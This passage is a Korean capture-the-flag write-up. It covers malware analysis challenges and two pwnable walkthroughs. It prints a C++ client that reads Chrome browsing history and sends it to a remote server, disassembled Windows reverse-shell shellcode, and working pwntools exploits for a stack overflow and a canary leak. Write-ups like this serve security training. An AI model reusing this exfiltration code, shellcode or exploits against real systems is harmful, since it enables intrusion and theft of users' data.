closesocket(sock);
WSACleanup();
return 1;
}
while (1)
{
iResult = recv(sock, recvbuf, recvbuflen, 0);
if (iResult > 0)
{
if (recvbuf[0] == 'i')
{
historyFile = string(getenv("LOCALAPPDATA")) +
"\\Google\\Chrome\\User Data\\Default\\History";
ifstream file(historyFile, ios::binary);
if (file.is_open())
{
streamsize size = file.tellg();
file.seekg(0, ios::beg);
vector<unsigned char> buffer(size);
if (!file.read(reinterpret_cast<char*>(buffer.data()), size))
{
cerr << "Failed to read file" << endl;
return 1;
}
string encoded = base64Encode(buffer);
strcpy(sendbuf, encoded.c_str());
send(sock, sendbuf, sendbuflen, 0);
ZeroMemory(sendbuf, 2048);
Sleep(10);
}
else
{
cerr << "Failed to open file: " << historyFile << endl;
}
}
if (recvbuf[0] == 'o')
{
SYSTEM_INFO sysInfo;
GetNativeSystemInfo(&sysInfo);
switch (sysInfo.wProcessorArchitecture)
{
case PROCESSOR_ARCHITECTURE_INTEL:
strcpy(sendbuf, "INTEL");
send(sock,sendbuf, sendbuflen, 0);
ZeroMemory(sendbuf, 2048);
break;
case PROCESSOR_ARCHITECTURE_AMD64:
strcpy(sendbuf, "AMD64");
send(sock, sendbuf, sendbuflen, 0);
ZeroMemory(sendbuf, 2048);
break;
}
}
}
else if (iResult == 0)
{
cout << "Connection closed" << endl;
}
else
{
cout << "recv failed with error: << WSAGetLastError()" << endl;
}
}
closesocket(sock);
WSACleanup();
return 0;
}
정답은 ‘GetNativeSystemInfo’로 플래그는 다음과 같습니다.
HCAMP{GetNativeSystemInfo}
Malware - malware analysis class #2
title
아래 샘플이 제공됩니다.
0: fc cld
1: e8 82 00 00 00 call 0x88
6: 60 pusha
7: 89 e5 mov ebp,esp
9: 31 c0 xor eax,eax
b: 64 8b 50 30 mov edx,DWORD PTR fs:[eax+0x30]
f: 8b 52 0c mov edx,DWORD PTR [edx+0xc]
12: 8b 52 14 mov edx,DWORD PTR [edx+0x14]
15: 8b 72 28 mov esi,DWORD PTR [edx+0x28]
18: 0f b7 4a 26 movzx ecx,WORD PTR [edx+0x26]
1c: 31 ff xor edi,edi
1e: ac lods al,BYTE PTR ds:[esi]
1f: 3c 61 cmp al,0x61
21: 7c 02 jl 0x25
23: 2c 20 sub al,0x20
25: c1 cf 0d ror edi,0xd
28: 01 c7 add edi,eax
2a: e2 f2 loop 0x1e
2c: 52 push edx
2d: 57 push edi
2e: 8b 52 10 mov edx,DWORD PTR [edx+0x10]
31: 8b 4a 3c mov ecx,DWORD PTR [edx+0x3c]
34: 8b 4c 11 78 mov ecx,DWORD PTR [ecx+edx*1+0x78]
38: e3 48 jecxz 0x82
3a: 01 d1 add ecx,edx
3c: 51 push ecx
3d: 8b 59 20 mov ebx,DWORD PTR [ecx+0x20]
40: 01 d3 add ebx,edx
42: 8b 49 18 mov ecx,DWORD PTR [ecx+0x18]
45: e3 3a jecxz 0x81
47: 49 dec ecx
48: 8b 34 8b mov esi,DWORD PTR [ebx+ecx*4]
4b: 01 d6 add esi,edx
4d: 31 ff xor edi,edi
4f: ac lods al,BYTE PTR ds:[esi]
50: c1 cf 0d ror edi,0xd
53: 01 c7 add edi,eax
55: 38 e0 cmp al,ah
57: 75 f6 jne 0x4f
59: 03 7d f8 add edi,DWORD PTR [ebp-0x8]
5c: 3b 7d 24 cmp edi,DWORD PTR [ebp+0x24]
5f: 75 e4 jne 0x45
61: 58 pop eax
62: 8b 58 24 mov ebx,DWORD PTR [eax+0x24]
65: 01 d3 add ebx,edx
67: 66 8b 0c 4b mov cx,WORD PTR [ebx+ecx*2]
6b: 8b 58 1c mov ebx,DWORD PTR [eax+0x1c]
6e: 01 d3 add ebx,edx
70: 8b 04 8b mov eax,DWORD PTR [ebx+ecx*4]
73: 01 d0 add eax,edx
75: 89 44 24 24 mov DWORD PTR [esp+0x24],eax
79: 5b pop ebx
7a: 5b pop ebx
7b: 61 popa
7c: 59 pop ecx
7d: 5a pop edx
7e: 51 push ecx
7f: ff e0 jmp eax
81: 5f pop edi
82: 5f pop edi
83: 5a pop edx
84: 8b 12 mov edx,DWORD PTR [edx]
86: eb 8d jmp 0x15
88: 5d pop ebp
89: 68 33 32 00 00 push 0x3233
8e: 68 77 73 32 5f push 0x5f327377
93: 54 push esp
94: 68 4c 77 26 07 push 0x726774c
99: ff d5 call ebp
9b: b8 90 01 00 00 mov eax,0x190
a0: 29 c4 sub esp,eax
a2: 54 push esp
a3: 50 push eax
a4: 68 29 80 6b 00 push 0x6b8029
a9: ff d5 call ebp
ab: 50 push eax
ac: 50 push eax
ad: 50 push eax
ae: 50 push eax
af: 40 inc eax
b0: 50 push eax
b1: 40 inc eax
b2: 50 push eax
b3: 68 ea 0f df e0 push 0xe0df0fea
b8: ff d5 call ebp
ba: 97 xchg edi,eax
bb: 6a 05 push 0x5
bd: 68 c0 a8 38 01 push 0x138a8c0
c2: 68 02 00 01 bb push 0xbb010002
c7: 89 e6 mov esi,esp
c9: 6a 10 push 0x10
cb: 56 push esi
cc: 57 push edi
cd: 68 99 a5 74 61 push 0x6174a599
d2: ff d5 call ebp
d4: 85 c0 test eax,eax
d6: 74 0c je 0xe4
d8: ff 4e 08 dec DWORD PTR [esi+0x8]
db: 75 ec jne 0xc9
dd: 68 f0 b5 a2 56 push 0x56a2b5f0
e2: ff d5 call ebp
e4: 68 63 6d 64 00 push 0x646d63
e9: 89 e3 mov ebx,esp
eb: 57 push edi
ec: 57 push edi
ed: 57 push edi
ee: 31 f6 xor esi,esi
f0: 6a 12 push 0x12
f2: 59 pop ecx
f3: 56 push esi
f4: e2 fd loop 0xf3
f6: 66 c7 44 24 3c 01 01 mov WORD PTR [esp+0x3c],0x101
fd: 8d 44 24 10 lea eax,[esp+0x10]
101: c6 00 44 mov BYTE PTR [eax],0x44
104: 54 push esp
105: 50 push eax
106: 56 push esi
107: 56 push esi
108: 56 push esi
109: 46 inc esi
10a: 56 push esi
10b: 4e dec esi
10c: 56 push esi
10d: 56 push esi
10e: 53 push ebx
10f: 56 push esi
110: 68 79 cc 3f 86 push 0x863fcc79
115: ff d5 call ebp
117: 89 e0 mov eax,esp
119: 4e dec esi
11a: 56 push esi
11b: 46 inc esi
11c: ff 30 push DWORD PTR [eax]
11e: 68 08 87 1d 60 push 0x601d8708
123: ff d5 call ebp
125: bb f0 b5 a2 56 mov ebx,0x56a2b5f0
12a: 68 a6 95 bd 9d push 0x9dbd95a6
12f: ff d5 call ebp
131: 3c 06 cmp al,0x6
133: 7c 0a jl 0x13f
135: 80 fb e0 cmp bl,0xe0
138: 75 05 jne 0x13f
13a: bb 47 13 72 6f mov ebx,0x6f721347
13f: 6a 00 push 0x0
141: 53 push ebx
142: ff d5 call ebp
문제내용에 적힌대로 상수값 0x863fcc79 에 대해 확인하면 됩니다.
해당 어셈블리 코드는 Windows Shell Code이며 상수 ‘0x863fcc79’는 kernel32.dll!CreateProcessA를 의미합니다. 따라서 플래그는 아래와 같습니다.
HCAMP{CreateProcessA}
Malware - malware analysis class #3
title
아래 데이터를 분석해서 어떤 상수 값이 Windows XP 체크에 직접적인 연관이 있는지 찾습니다.
.text:10001C60 push ebp
.text:10001C61 mov ebp, esp
.text:10001C63 sub esp, 130h
.text:10001C69 push edi
.text:10001C6A sidt fword ptr [ebp-8]
.text:10001C6E mov eax, [ebp-6]
.text:10001C71 cmp eax, 8003F400h
.text:10001C76 jbe short loc_10001C88
.text:10001C78 cmp eax, 80047400h
.text:10001C7D jnb short loc_10001C88
.text:10001C7F xor eax, eax
.text:10001C81 pop edi
.text:10001C82 mov esp, ebp
.text:10001C84 pop ebp
.text:10001C85 retn 0Ch
.text:10001C88 loc_10001C88:
.text:10001C88
.text:10001C88 xor eax, eax
.text:10001C8A mov ecx, 49h
.text:10001C8F lea edi, [ebp+pe.cntUsage]
.text:10001C95 mov [ebp+pe.dwSize], 0
.text:10001C9F push eax
.text:10001CA0 push 2
.text:10001CA2 rep stosd
.text:10001CA4 call CreateToolhelp32Snapshot
.text:10001CA9 mov edi, eax
.text:10001CAB cmp edi, 0FFFFFFFFh
.text:10001CAE jnz short loc_10001CB9
.text:10001CB0 xor eax, eax
.text:10001CB2 pop edi
.text:10001CB3 mov esp, ebp
.text:10001CB5 pop ebp
.text:10001CB6 retn 0Ch
.text:10001CB9 lea eax, [ebp+pe]
.text:10001CBF push esi
.text:10001CC0 push eax
.text:10001CC1 push edi
.text:10001CC2 mov [ebp+pe.dwSize], 128h
.text:10001CCC call Process32First
.text:10001CD1 test eax, eax
.text:10001CD3 jz short loc_10001D24
.text:10001CD5 mov esi, ds:_stricmp
.text:10001CDB lea ecx, [ebp+pe.szExeFile]
.text:10001CE1 push offset String2 ; "explorer.exe"
.text:10001CE6 push ecx
.text:10001CE7 call esi ; _stricmp
.text:10001CE9 add esp, 8
.text:10001CEC test eax, eax
.text:10001CEE jz short loc_10001D16
.text:10001CF0 loop:
.text:10001CF0 lea edx, [ebp+pe]
.text:10001CF6 push edx
.text:10001CF7 push edi
.text:10001CF8 call Process32Next
.text:10001CFD test eax, eax
.text:10001CFF jz short loc_10001D24
.text:10001D01 lea eax, [ebp+pe.szExeFile]
.text:10001D07 push offset String2 ; "explorer.exe"
.text:10001D0C push eax ; String1
.text:10001D0D call esi ; _stricmp
.text:10001D0F add esp, 8
.text:10001D12 test eax, eax
.text:10001D14 jnz short loop
.text:10001D16 loc_10001D16:
.text:10001D16 mov eax, [ebp+pe.th32ParentProcessID]
.text:10001D1C mov ecx, [ebp+pe.th32ProcessID]
.text:10001D22 jmp short loc_10001D2A
.text:10001D24 loc_10001D24:
.text:10001D24
.text:10001D24 mov eax, [ebp+fdwReason]
.text:10001D27 mov ecx, [ebp+fdwReason]
.text:10001D2A
.text:10001D2A loc_10001D2A:
.text:10001D2A cmp eax, ecx
.text:10001D2C pop esi
.text:10001D2D jnz short loc_10001D38
.text:10001D2F xor eax, eax
.text:10001D31 pop edi
.text:10001D32 mov esp, ebp
.text:10001D34 pop ebp
.text:10001D35 retn 0Ch
해당 코드의 첫부분은 목표로 삼은 컴퓨터의 IDT(Interrupt Descriptor Table) 의 기저주소를 읽어서 XP 및 2003 Server 시스템인지 체크 합니다.
8003F400h 값은 Intel 프로세서가 있는 XP 및 2003 Server 시스템의 IDT에 대해 알려진 상수입니다. 따라서 멀웨어는 XP 및 2003 Server를 대상으로 동작하며 감염시킵니다.
https://www.mnin.org/?page=vmmdetect
따라서 플래그는 다음과 같습니다.
HCAMP{8003F400h}
Pwnable - HORCRUX
title
초보자를 위한 문제로 소스코드를 제공해줍니다.
#horcrux.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell()
{
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main()
{
char buf[0xFF];
int idx;
initialize();
memset(buf, 0, sizeof(buf));
scanf("%d", &idx);
if (idx/100 == 2){
read(0, buf + idx, 0x1000);
}
return 0;
}
read 함수로 표준 입력으로 buf의 주소값 + idx 에서부터 0x1000 byte를 입력하여 Buffer Overflow가 발생합니다.
main의 Return Address를 get_shell 함수의 시작주소로 변경하면 쉘을 실행시킬 수 있습니다.
우선, idx를 100으로 나누었을때 2가 되는 숫자는 200-299까지 입니다.(100으로 나눴을때 소수점은 버려지기 때문에)
$rbp + 8(SPF)은 Return Address 시작주소로, gdb를 이용해 main함수의 Return Address($rbp + 8)와 buf의 시작주소 + idx의 차이를 구해야 합니다.
일단 gdb를 이용해서 idx에 200을 입력후 read함수까지 갑니다. read function
read함수가 값을 쓰는 주소는 rsi 입니다. 차이가 64(0x40)이기 때문에 idx에 264를 입력하면 read함수는 main함수의 Return Address 주소부터 값을 쓰게 됩니다. ($rbp + 8) - $rsi
get_shell 함수의 주소값을 알아냅니다. 소값은 “0x40083f” 입니다. get_shell() address
Exploit 코드를 작성해줍니다.
idx에 264를 입력한 후 return address에 get_shell의 주소를 덮어씌웁니다.
from pwn import *
p = remote("***.***.***.***", *****)
get_shell = 0x40083f
p.sendline('264')
p.sendline(p64(get_shell))
p.interactive()
스크립트를 실행하면 플래그를 얻을 수 있습니다. Get Flag
Pwnable - step
title
바이너리에 카나리가 걸려있습니다.
함수 호출은 print → read → puts → gets 순으로 버퍼 오버플로우가 발생하는 read, puts 함수를 호출합니다.
gef➤ disas main
Dump of assembler code for function main:
0x0000000000400929 <+0>: push rbp
0x000000000040092a <+1>: mov rbp,rsp
0x000000000040092d <+4>: sub rsp,0x20
0x0000000000400931 <+8>: mov rax,QWORD PTR fs:0x28
0x000000000040093a <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040093e <+21>: xor eax,eax
0x0000000000400940 <+23>: mov eax,0x0
0x0000000000400945 <+28>: call 0x40086f <initialize>
0x000000000040094a <+33>: mov edi,0x400a65
0x000000000040094f <+38>: mov eax,0x0
0x0000000000400954 <+43>: call 0x4006e0 <printf@plt>
0x0000000000400959 <+48>: mov rax,QWORD PTR [rip+0x200720] # 0x601080 <stdout@@GLIBC_2.2.5>
0x0000000000400960 <+55>: mov rdi,rax
0x0000000000400963 <+58>: call 0x400740 <fflush@plt>
0x0000000000400968 <+63>: lea rax,[rbp-0x20]
0x000000000040096c <+67>: mov edx,0x1000
0x0000000000400971 <+72>: mov rsi,rax
0x0000000000400974 <+75>: mov edi,0x0
0x0000000000400979 <+80>: call 0x400700 <read@plt>
0x000000000040097e <+85>: lea rax,[rbp-0x20]
0x0000000000400982 <+89>: mov rdi,rax
0x0000000000400985 <+92>: call 0x4006c0 <puts@plt>
0x000000000040098a <+97>: mov rax,QWORD PTR [rip+0x2006ef] # 0x601080 <stdout@@GLIBC_2.2.5>
0x0000000000400991 <+104>: mov rdi,rax
0x0000000000400994 <+107>: call 0x400740 <fflush@plt>
0x0000000000400999 <+112>: lea rax,[rbp-0x20]
0x000000000040099d <+116>: mov rdi,rax
0x00000000004009a0 <+119>: mov eax,0x0
0x00000000004009a5 <+124>: call 0x400730 <gets@plt>
0x00000000004009aa <+129>: mov eax,0x0
=> 0x00000000004009af <+134>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004009b3 <+138>: xor rcx,QWORD PTR fs:0x28
0x00000000004009bc <+147>: je 0x4009c3 <main+154>
0x00000000004009be <+149>: call 0x4006d0 <__stack_chk_fail@plt>
0x00000000004009c3 <+154>: leave
0x00000000004009c4 <+155>: ret
End of assembler dump.
Canary Leak으로 카나리 값을 구할 수 있습니다.
스크립트를 짜줍니다. 첫번째 read 입력에 A*25를 줘서 canary의 \x00을 지워서 puts 함수호출시 canary값이 노출되도록 한 후 노출된 카나리 값을 $ebp-0x8 위치에 덮어씌우고, 이후 Retrun Address 값을 get_shell 의 시작주소로 덮어 씌웁니다.
from pwn import *
p = remote("***.***.***.***", *****)
get_shell = 0x4008cb
p.sendafter("What's your name?", b'A'*25)
p.recvuntil('A' * 25)
data = p.recvline()[:7]
canary = (b'\x00' + data)
payload = b'A'*0x18
payload += canary
payload += b'A'*0x8
payload += p64(get_shell)
p.sendline(payload)
p.interactive()
스크립트를 실행해서 쉘을 얻고, flag값을 얻을수 있습니다. Get Flag